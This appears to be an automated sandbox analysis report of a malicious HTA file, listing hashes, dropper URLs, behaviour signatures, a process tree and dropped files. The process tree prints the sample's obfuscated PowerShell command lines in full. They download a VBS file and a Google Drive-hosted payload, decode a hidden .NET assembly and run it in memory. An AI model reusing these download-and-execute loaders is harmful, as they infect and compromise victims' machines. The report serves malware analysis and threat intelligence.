Analysis

  • max time kernel
    131s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31-10-2024 02:37

General

  • Target

    8762a9dea77db2f44207cc9edbc192f5776f7ac8532440ae60a65f5102f8ec93.hta

  • Size

    169KB

  • MD5

    d61ef0038de65f697abb0b7a21b499db

  • SHA1

    f8facfa18bf5eeecaa0601e8c1690fe60fe02ff8

  • SHA256

    8762a9dea77db2f44207cc9edbc192f5776f7ac8532440ae60a65f5102f8ec93

  • SHA512

    3ce0e7e8302d6b6c23ea209b07640be3b616306494d065c0293885bed194002f92bc41f4329f18465dd0ad77087afa6ce5a30a585e422f08a017306040986223

  • SSDEEP

    48:4vaw5oZz7eWLB2rQOyeoCKcxyeoCKnAWUSl+WmpCzc/xJUdPePmkee7+SfitTFmE:4vG172ICeC4lw/HwSCirCtgQ

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 2 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\8762a9dea77db2f44207cc9edbc192f5776f7ac8532440ae60a65f5102f8ec93.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2936
    • C:\Windows\SysWOW64\windOWSPowerShell\V1.0\POWeRSHell.eXE
      "C:\Windows\sYSTEM32\windOWSPowerShell\V1.0\POWeRSHell.eXE" "poweRSheLl.EXe -eX byPASS -noP -W 1 -c dEVicECREdeNtiaLDePlOymenT ; Iex($(IEX('[sYstEm.tExT.enCOding]'+[char]0X3a+[char]0x3A+'UtF8.GETStRIng([sySTEM.convERt]'+[CHAR]58+[CHar]58+'fRoMbase64STriNg('+[Char]0x22+'JFZENmI1TUtGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFEZC10eVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTW9uLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtHRENPeUFFdkgsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd3Esc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZkhuSk9PQWdhTCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNMV0JuWCxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiS2cpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ3TnZtcExmRlp2IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0cU9kWVBRUCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkVkQ2YjVNS0Y6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTguNDYuMTc4LjE1MS82Ni9zZWVtZXRoZWJlc3R0aGluZ3N3aXRoZ3JlYXRuZWVkc3dpdGhnb29kZm9ybWV3aXRoLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVtZXRoZWJlc3R0aGluZ3N3aXRoZ3JlYXRuZWVkc3dpdGhnby52YnMiLDAsMCk7c3RBcnQtU2xFZXAoMyk7c1RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOdjpBUFBEQVRBXHNlZW1ldGhlYmVzdHRoaW5nc3dpdGhncmVhdG5lZWRzd2l0aGdvLnZicyI='+[cHAr]34+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1412
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX byPASS -noP -W 1 -c dEVicECREdeNtiaLDePlOymenT
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3528
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ham43hbl\ham43hbl.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2940
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD0CD.tmp" "c:\Users\Admin\AppData\Local\Temp\ham43hbl\CSCB9BAF572EE1A42BF965793E6EB38D41.TMP"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3208
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seemethebestthingswithgreatneedswithgo.vbs"
        3⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4108
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRTSEVMbGlkWzFdKyRzaEVsbElkWzEzXSsnWCcpICgoJ2p2TWltYWdlVXJsID0gdUNiaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgdUNiO2p2TXdlYkNsaWVudCA9IE5ldy1PYmplYycrJ3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7anZNaW1hZ2VCJysneXRlJysncyA9IGp2TXdlYkNsaWVudC5Eb3dubG9hZERhJysndGEoanZNaW1hZ2VVcmwpO2p2TWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKGp2TWltYWdlQnl0ZXMpO2p2TXN0YXJ0RmxhZyA9IHVDYjw8QkFTRTY0X1NUQVJUPj51Q2I7anZNZW5kJysnRmxhZyA9IHVDYjw8QkFTRTY0X0VORD4+dUNiO2p2TXN0YXJ0SW5kZXggPSBqdk1pbWFnZVRleHQuSW5kZXhPZihqdk1zdGFydEZsYWcpO2p2TWVuZEluZGV4ID0ganZNaW1hZ2VUZXh0JysnLkluZGV4T2YnKycoanZNZW5kRmxhZyk7anZNc3RhcnRJbmRleCAtZ2UgMCAtYW5kIGp2TWVuZEluZGV4IC1ndCBqdk1zdGFydEluZGV4O2p2TXN0YXJ0SW5kZXggKz0ganZNc3RhcnRGbGFnLkxlbmd0aDtqdk1iYXNlNjRMZW5ndGggPSBqdk1lbmRJJysnbmRleCAtIGp2TXN0YXJ0SW5kZScrJ3g7anZNYmFzZTY0Q29tbWFuZCA9IGp2TWltYWdlVGV4dC5TdWJzdHJpbmcoanZNc3RhcnRJbmRleCwganZNYmFzZTY0TGVuZ3RoKTtqdk0nKydiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChqdk1iYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCcrJykgbnJFIEZvckVhJysnY2gtT2JqZWN0IHsganZNXyB9KVstMS4uLShqdk1iYXNlNjRDb21tYW5kLkxlbmd0aCldO2p2TWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoanZNYmFzZTY0UmV2ZXJzZWQpO2p2TWxvYWRlZEFzc2VtYmx5ICcrJz0gW1N5Jysnc3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChqdk1jb21tYW5kQnl0ZXMpO2p2TXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXScrJy5HZXRNZXRob2QnKycodUNiVkFJdUNiKTtqdk12YWlNZXRob2QuSW52b2tlKGp2TW51bGwsIEAodUNidHh0LicrJ0dST0wnKydMLzY2LzE1MS44NzEuNjQuODkxLycrJy86cHR0aHVDJysnYiwgdUNiZGVzYXRpdmFkb3VDYiwgdUNiZGVzYScrJ3RpdmFkb3VDYiwgdUNiZGVzYXRpdmFkb3VDYicrJywgdUNiYXNwbicrJ2UnKyd0X3JlZ2Jyb3dzZXJzdUNiLCB1Q2JkZXNhdGl2YWRvdUNiLCB1Q2JkZXNhdGl2YWRvdUNiLHVDYmRlc2F0aXZhZG91Q2IsdUNiZGVzYXRpdmFkb3VDYix1Q2JkZXNhdGl2YWRvdUNiLHVDYmRlc2F0aXZhZG91Q2IsdUNiZGVzYScrJ3RpdmFkb3VDYix1Q2IxdUNiLHVDYmRlc2F0aXZhZG91Q2IpKTsnKS5SZXBsQWNlKCdqdk0nLCckJykuUmVwbEFjZSgndUNiJyxbc1RyaW5HXVtjaGFSXTM5KS5SZXBsQWNlKChbY2hhUl0xMTArW2NoYVJdMTE0K1tjaGFSXTY5KSxbc1RyaW5HXVtjaGFSXTEyNCkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4936
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $SHELlid[1]+$shEllId[13]+'X') (('jvMimageUrl = uCbhttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur uCb;jvMwebClient = New-Objec'+'t System.Net.WebClient;jvMimageB'+'yte'+'s = jvMwebClient.DownloadDa'+'ta(jvMimageUrl);jvMimageText = [System.Text.Encoding]::UTF8.GetString(jvMimageBytes);jvMstartFlag = uCb<<BASE64_START>>uCb;jvMend'+'Flag = uCb<<BASE64_END>>uCb;jvMstartIndex = jvMimageText.IndexOf(jvMstartFlag);jvMendIndex = jvMimageText'+'.IndexOf'+'(jvMendFlag);jvMstartIndex -ge 0 -and jvMendIndex -gt jvMstartIndex;jvMstartIndex += jvMstartFlag.Length;jvMbase64Length = jvMendI'+'ndex - jvMstartInde'+'x;jvMbase64Command = jvMimageText.Substring(jvMstartIndex, jvMbase64Length);jvM'+'base64Reversed = -join (jvMbase64Command.ToCharArray('+') nrE ForEa'+'ch-Object { jvM_ })[-1..-(jvMbase64Command.Length)];jvMcommandBytes = [System.Convert]::FromBase64String(jvMbase64Reversed);jvMloadedAssembly '+'= [Sy'+'stem.Reflection.Assembly]::Load(jvMcommandBytes);jvMvaiMethod = [dnlib.IO.Home]'+'.GetMethod'+'(uCbVAIuCb);jvMvaiMethod.Invoke(jvMnull, @(uCbtxt.'+'GROL'+'L/66/151.871.64.891/'+'/:ptthuC'+'b, uCbdesativadouCb, uCbdesa'+'tivadouCb, uCbdesativadouCb'+', uCbaspn'+'e'+'t_regbrowsersuCb, uCbdesativadouCb, uCbdesativadouCb,uCbdesativadouCb,uCbdesativadouCb,uCbdesativadouCb,uCbdesativadouCb,uCbdesa'+'tivadouCb,uCb1uCb,uCbdesativadouCb));').ReplAce('jvM','$').ReplAce('uCb',[sTrinG][chaR]39).ReplAce(([chaR]110+[chaR]114+[chaR]69),[sTrinG][chaR]124))"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3048

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\POWeRSHell.eXE.log

    Filesize

    2KB

    MD5

    3d086a433708053f9bf9523e1d87a4e8

    SHA1

    b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

    SHA256

    6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

    SHA512

    931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    12KB

    MD5

    22db90f2fdaee91da56048d1c225b330

    SHA1

    ccb545afae1aba1a27a21eb28a6e0ab72431d775

    SHA256

    8632ee8b147a77c70333ff2d9128cf0ffc437ec70c4f9e5e3356c5fe403afc32

    SHA512

    ce0b84e497905720f5f1c3db921c3f67952415ec52e2eb1992cdbe8052f2c059a423df0d54c77007281bea153027d3d361ae25e3771461e73b28bf489fd90642

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    62cb4a5634c42159379a46af2c8aa859

    SHA1

    43c4b1fe49f9dd9547bd560f0bf67d656236b05a

    SHA256

    5179d05da0cb83a0e2aeb02d339311370bd82ffbbb27126dd70d4de41cfe1343

    SHA512

    301f9e7a53a748f0a3ef5c379acdfbefeb5917585fb83932f1db94b1c62b4b24892a07afa4347abe198d3640df25e8d9cdf50c8bebe87b0718dfb329cc1a674d

  • C:\Users\Admin\AppData\Local\Temp\RESD0CD.tmp

    Filesize

    1KB

    MD5

    60c79d2da4b4122092cba759e6f52663

    SHA1

    616c5c5a124a9cf0cc6a285f565c9d5ac4ffa329

    SHA256

    eb54039eb300d10941863ceb68083403066c262c94ce8bdfb14caa49c966991a

    SHA512

    d8bdfa9fe7a9432ff3e36d7adea67f15b60a07c2beb86053a016b1d11870c8439fb982470ce0d441c80b3a82a2917c7fdd09ad22a6ce671d44f2c1e21da6730a

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dl5biv4r.xh5.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\ham43hbl\ham43hbl.dll

    Filesize

    3KB

    MD5

    5fb5189c28f1e986b0a54ca538caf5a6

    SHA1

    dbaef6c1b6e31027aeaaa1814b69b2a8e1c72585

    SHA256

    afa7726337eccd5a38f581ae48caabd3c6956e7ec883dc34739c0a5a2c3a6a50

    SHA512

    1776b1bce7a35152a6ead7975d0caf964a5e1e1b1c9ba122244a57d0bd9600a461aa3e2a620b0209ab00ac816f4c1b0f62af24996d33c3974a358a95d694ea46

  • C:\Users\Admin\AppData\Roaming\seemethebestthingswithgreatneedswithgo.vbs

    Filesize

    138KB

    MD5

    64cc9748329c0e186cacd10d639615e6

    SHA1

    1291f245b185bd05fb09646b79f284d76e7dc0ff

    SHA256

    2c5fffa8231f572e3a34b8d4ca675aec062c3accfe661519a28e376605c0479d

    SHA512

    65ccbfe0223b58675aef7de997229f3ba66be892c851d6cec9018b941f3a5c5cac3c41fbe1878474213293ad25059b06e7ff7f0c4e3320d75a6fa7f071b646ba

  • \??\c:\Users\Admin\AppData\Local\Temp\ham43hbl\CSCB9BAF572EE1A42BF965793E6EB38D41.TMP

    Filesize

    652B

    MD5

    991c031ce4b0f18aa895a668916ac729

    SHA1

    a41ac92e6342216cedacb79ce7cd594fa9843787

    SHA256

    0f6c311622d670c2471e007781d066598ab30666f10bbedc0d210a1ffdd43e4f

    SHA512

    0d4b02534982dd08fb8e2b3983eea3030dcf19525399ee77c8adda5dca65fbfc372ee709f071a32e1b146ab18d16acf0cfb7746488d671e191d3a4936d9f1f86

  • \??\c:\Users\Admin\AppData\Local\Temp\ham43hbl\ham43hbl.0.cs

    Filesize

    487B

    MD5

    8165df8b1b6d49c15b5e65811de25b8c

    SHA1

    fbe4fe188254b23c8b57b8d1bcd56011a93f34ba

    SHA256

    063172ff26517cdf762b144b713c24d423f75c6493234773c0e241c060dfa9f9

    SHA512

    ede5171453ece61e25baf3eef0a842e92a2b2c47c06bd4ed416f9c0a42e2bbc29f1810b97e4041dcdfd53995fc0e268f20a39188db553cf272b0374994473a2d

  • \??\c:\Users\Admin\AppData\Local\Temp\ham43hbl\ham43hbl.cmdline

    Filesize

    369B

    MD5

    2c128153b61b5386104294f9eab60f83

    SHA1

    6a8abbd6cf8dd3fd2587662c547190de894401b8

    SHA256

    4291680dc8a779cbc571e4db3a3bf037b9835e4e83f9209aec252465c0bb9f8a

    SHA512

    53d9535a8971f16dc048690e7858b154657594136bcfd2727b4b963abe6753dffd364e10fd8ab4cb5903d34b722a05298f34619369ea72e84fc94c9e0e43fda6

  • memory/1412-65-0x0000000006EE0000-0x0000000006EE8000-memory.dmp

    Filesize

    32KB

  • memory/1412-72-0x0000000071780000-0x0000000071F30000-memory.dmp

    Filesize

    7.7MB

  • memory/1412-1-0x0000000003000000-0x0000000003036000-memory.dmp

    Filesize

    216KB

  • memory/1412-81-0x0000000071780000-0x0000000071F30000-memory.dmp

    Filesize

    7.7MB

  • memory/1412-3-0x0000000005CD0000-0x00000000062F8000-memory.dmp

    Filesize

    6.2MB

  • memory/1412-2-0x0000000071780000-0x0000000071F30000-memory.dmp

    Filesize

    7.7MB

  • memory/1412-4-0x0000000071780000-0x0000000071F30000-memory.dmp

    Filesize

    7.7MB

  • memory/1412-74-0x0000000008E90000-0x0000000009434000-memory.dmp

    Filesize

    5.6MB

  • memory/1412-73-0x0000000007CF0000-0x0000000007D12000-memory.dmp

    Filesize

    136KB

  • memory/1412-19-0x0000000006940000-0x000000000698C000-memory.dmp

    Filesize

    304KB

  • memory/1412-71-0x000000007178E000-0x000000007178F000-memory.dmp

    Filesize

    4KB

  • memory/1412-0-0x000000007178E000-0x000000007178F000-memory.dmp

    Filesize

    4KB

  • memory/1412-5-0x0000000005970000-0x0000000005992000-memory.dmp

    Filesize

    136KB

  • memory/1412-6-0x0000000005A90000-0x0000000005AF6000-memory.dmp

    Filesize

    408KB

  • memory/1412-7-0x0000000005B00000-0x0000000005B66000-memory.dmp

    Filesize

    408KB

  • memory/1412-18-0x0000000006900000-0x000000000691E000-memory.dmp

    Filesize

    120KB

  • memory/1412-17-0x00000000064D0000-0x0000000006824000-memory.dmp

    Filesize

    3.3MB

  • memory/3528-44-0x0000000006E10000-0x0000000006E1A000-memory.dmp

    Filesize

    40KB

  • memory/3528-50-0x0000000007030000-0x0000000007038000-memory.dmp

    Filesize

    32KB

  • memory/3528-48-0x0000000006FF0000-0x0000000007004000-memory.dmp

    Filesize

    80KB

  • memory/3528-47-0x0000000006FE0000-0x0000000006FEE000-memory.dmp

    Filesize

    56KB

  • memory/3528-46-0x0000000006FB0000-0x0000000006FC1000-memory.dmp

    Filesize

    68KB

  • memory/3528-45-0x0000000007040000-0x00000000070D6000-memory.dmp

    Filesize

    600KB

  • memory/3528-49-0x0000000007100000-0x000000000711A000-memory.dmp

    Filesize

    104KB

  • memory/3528-43-0x0000000006DB0000-0x0000000006DCA000-memory.dmp

    Filesize

    104KB

  • memory/3528-40-0x0000000006040000-0x000000000605E000-memory.dmp

    Filesize

    120KB

  • memory/3528-41-0x0000000006C60000-0x0000000006D03000-memory.dmp

    Filesize

    652KB

  • memory/3528-42-0x00000000073F0000-0x0000000007A6A000-memory.dmp

    Filesize

    6.5MB

  • memory/3528-30-0x000000006E040000-0x000000006E08C000-memory.dmp

    Filesize

    304KB

  • memory/3528-29-0x0000000006C10000-0x0000000006C42000-memory.dmp

    Filesize

    200KB

  • memory/4936-91-0x0000000005E10000-0x0000000006164000-memory.dmp

    Filesize

    3.3MB